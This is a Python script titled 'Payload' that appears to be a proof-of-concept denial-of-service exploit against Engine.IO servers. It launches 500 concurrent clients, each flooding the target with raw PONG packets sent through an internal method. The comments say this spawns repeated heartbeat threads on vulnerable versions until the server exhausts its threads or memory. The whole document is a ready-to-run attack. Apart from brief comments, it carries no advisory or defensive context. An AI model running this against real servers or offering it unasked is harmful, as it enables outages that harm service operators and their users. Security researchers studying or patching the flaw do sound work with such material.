Payload

import engineio
import threading
import time
import logging

# Suppress client-side logging to keep the output clean
logging.getLogger('engineio').setLevel(logging.ERROR)
logging.getLogger('urllib3').setLevel(logging.ERROR)

# --- Configuration ---
TARGET_URL = 'http://localhost:5000'  # URL of the vulnerable server
ATTACKER_COUNT = 500                  # Number of concurrent clients to spawn
PONG_INTERVAL_SECONDS = 0.02          # Interval to send PONGs (lower is more aggressive)

def exploit_heartbeat():
    """
    Connects a single client and floods the server with PONG packets
    to trigger repeated background thread creation.
    """
    client = engineio.Client(logger=False)
    try:
        # 1. Connect to the server. On vulnerable versions, this may already
        #    create a heartbeat thread before authentication.
        client.connect(TARGET_URL, transports=['websocket'])

        # 2. Enter a loop to continuously send PONG packets.
        while client.connected:
            # On vulnerable servers, each PONG packet causes a new heartbeat
            # thread to be created, without checking if one already exists.
            # We use the internal _send_packet method to send raw PONGs.
            pong_packet = engineio.packet.Packet(engineio.packet.PONG)
            client._send_packet(pong_packet)
            time.sleep(PONG_INTERVAL_SECONDS)

    except Exception:
        # Expect connection failures as the server becomes overloaded and
        # runs out of resources (e.g., thread limits, memory).
        pass
    finally:
        if client.connected:
            client.disconnect()

if __name__ == '__main__':
    print(f"[*] Starting attack on {TARGET_URL} with {ATTACKER_COUNT} clients.")
    
    threads = []
    for i in range(ATTACKER_COUNT):
        thread = threading.Thread(target=exploit_heartbeat)
        thread.daemon = True
        threads.append(thread)
        thread.start()
        # Stagger the connection attempts slightly
        time.sleep(0.01)

    print(f"[*] Attack launched. Monitoring server for denial of service.")
    print("[*] Press Ctrl+C to stop the attack script.")

    try:
        # Keep the main script alive while the attacker threads are running
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        print("\n[*] Attack script stopped.")